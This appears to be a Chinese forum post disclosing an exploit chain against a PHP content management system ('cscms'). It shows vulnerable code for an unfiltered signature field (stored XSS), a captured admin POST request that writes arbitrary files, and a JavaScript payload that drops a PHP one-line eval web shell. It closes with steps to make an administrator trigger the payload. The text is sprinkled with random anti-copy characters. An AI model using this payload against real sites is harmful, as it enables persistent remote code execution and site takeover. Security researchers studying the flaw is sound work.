| 这个cms 以前 90有人发了个getshell,当时 是后台验证文件的问题 官网已经修补了,所以重新下了源码, i: T; g) A5 C$ h3 y 因为 后台登入 还需要认证码 所以 注入就没看了。 存在 xss3 Q- D6 E8 ~9 b% |4 _ 漏洞文件 user/member/skin_edit.php 本帖隐藏的内容<tr><td style="height:130px;"><span class="t"><i>*</i>签名: 6 ?2 M! v8 r/ ^3 S+ D </span><textarea style="width:435px;height:120px;" id="content" name="CS_Qianm"><?php echo $cscms_qianm?> </textarea></td></tr> user/do.php if($op=='zl'){ //资料/ M- H' Z: v: p" Y$ {) s0 C 3 i3 | Y& B0 ~% p if(empty($CS_QQ)||empty($CS_Nichen)||empty($CS_City)||empty($CS_Email)) " ]0 f e2 q' A; Z exit(Msg_Error('抱歉,请把资料填写完整!','javascript:history.go(-1);'));: u/ U9 s& H: Y+ x+ n $sql="update ".Getdbname('user')." set CS_Nichen='".$CS_Nichen."',CS_Email='".$CS_Email."', CS_Sex=".$CS_Sex.",CS_City='".$CS_City."',CS_QQ='".$CS_QQ."',CS_Qianm='".$CS_Qianm."'! j) S9 u# ~6 E( \) \ where CS_Name='".$cscms_name."'"; # H) v: X$ A" j1 e; s# {/ @ if($db->query($sql)){ - I& f# b5 y3 U exit(Msg_Error('恭喜您,修改成功了!','javascript:history.go(-1);')); % G2 @( s& r+ {/ x- o }else{ exit(Msg_Error('抱歉,修改失败了!','javascript:history.go(-1);')); }4 O; p" q }9 @& H 没有 过滤导致xss产生。 后台 看了下 很奇葩的是可以写任意格式文件。。 抓包。。+ l2 I: W; e/ K) k% D 本帖隐藏的内容POST /admin/skins/skins.php?ac=xgmb&op=go&path=../../skins/index/html/ HTTP/1.1 $ m* C# M2 \2 {* I+ c( G7 ]) s Accept: text/html, application/xhtml+xml, */* Referer: http://127.0.0.1/admin/skins/ski ... l/&name=aaa.php Accept-Language: zh-CN User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0) ) A+ z- `- t& S$ T2 O. r" h O Content-Type: application/x-www-form-urlencoded / N6 t8 Z- M' J, g0 W3 }0 J( ~ Accept-Encoding: gzip, deflate, z2 c( o+ k) w+ D# O : w- {0 d8 P( L' c Host: 127.0.0.1 Content-Length: 38 DNT: 1 Connection: Keep-Alive & B* {# q* c' C Cache-Control: no-cache/ q( o) ~* a. ]8 i/ {7 |2 }' I Cookie: CS_AdminID=1; CS_AdminUserName=aaaa; CS_AdminPassWord=12949e83a49a0989aa46ab7e249ca34d; CS_Quanx=0_1%2C1_1%2C1_2%2C1_3%2C1_4%2C1_5%2C2_1%2C2_2%2C2_3%2C2_4%2C2_5%2C2_6%2C2_7%2C3_1%2C3_2%2C3_3%2C3_4%2C4_1%2C4_2%2C4_3%2C4_4%2C4_5%2C4_6%2C4_7%2C5_1%2C5_2%2C5_3%2C5_4%2C5_5%2C6_1%2C6_2%2C6_3%2C7_1%2C7_2%2C8_1%2C8_2%2C8_3%2C8_4; CS_Login=980bb0dfb9c7ba8ac7676b6f4eea2c4b; CS_AdminUP=1; cs_id=2; cs_name=test; PHPSESSID=36db4a484bdbd090ad9846e3b7f65594 name=aaa.php&content=%3Cs%3E%3Ca%25%3E & D, r' j8 c8 m' p2 r7 ] c 于是 构造js如下。 / g" o$ H3 D3 e/ k% B; [ 本帖隐藏的内容<script> thisTHost = top.location.hostname; thisTHost = "http://" + thisTHost + "/admin/skins/skins.php?ac=xgmb&op=go&path=../../skins/index/html/";( l- S- Q5 Q- _, ?; H% { 7 X9 ` P* v# T function PostSubmit(url, data, msg) { 8 W/ X. [+ N! @% W0 m var postUrl = url;* ^# O" J! z. J" S9 G# L, t 5 q3 [: A& g0 F5 j var postData = data; var msgData = msg; var ExportForm = document.createElement("FORM"); 9 u4 x$ y, s8 q- C" U/ v document.body.appendChild(ExportForm); ExportForm.method = "POST"; var newElement = document.createElement("input"); * i* I; U* |" G; v# M4 ~1 [ newElement.setAttribute("name", "name"); ; ? I# X U4 R" B( L) } newElement.setAttribute("type", "hidden"); var newElement2 = document.createElement("input"); newElement2.setAttribute("name", "content"); 7 A! f) h1 }5 c newElement2.setAttribute("type", "hidden"); 5 P3 U$ H7 A6 z( w% {0 a/ S ExportForm.appendChild(newElement); ExportForm.appendChild(newElement2); ( k6 H2 Z! }/ n ^7 ] ^ newElement.value = postData; + N0 P4 R( h: N8 t7 F newElement2.value = msgData; ExportForm.action = postUrl; ExportForm.submit(); . H% n: @& N4 q! S+ N5 s4 H }; # g( ^5 N" |0 ]' C( B PostSubmit(thisTHost,"roker.php","<?php @eval($_POST[123]);?>");1 a1 r, v1 D7 _( d/ W </script>8 v Z% b+ Q+ P5 z( [' b 6 J# P' M: ] t% b ) ^* a: Q4 \6 x$ q: k 8 {1 i* |# B0 J1 z, D http://127.0.0.1/user/space.php?ac=edit&op=zl 修改签名处 插入 用你的账号给管理写个 私信 或者让他访问 你的主页http://127.0.0.1/home/?uid=2(uid自己改)/ I9 T6 J2 f# O 就会 在 skins\index\html\目录下生成 roker.php 一句话。 |
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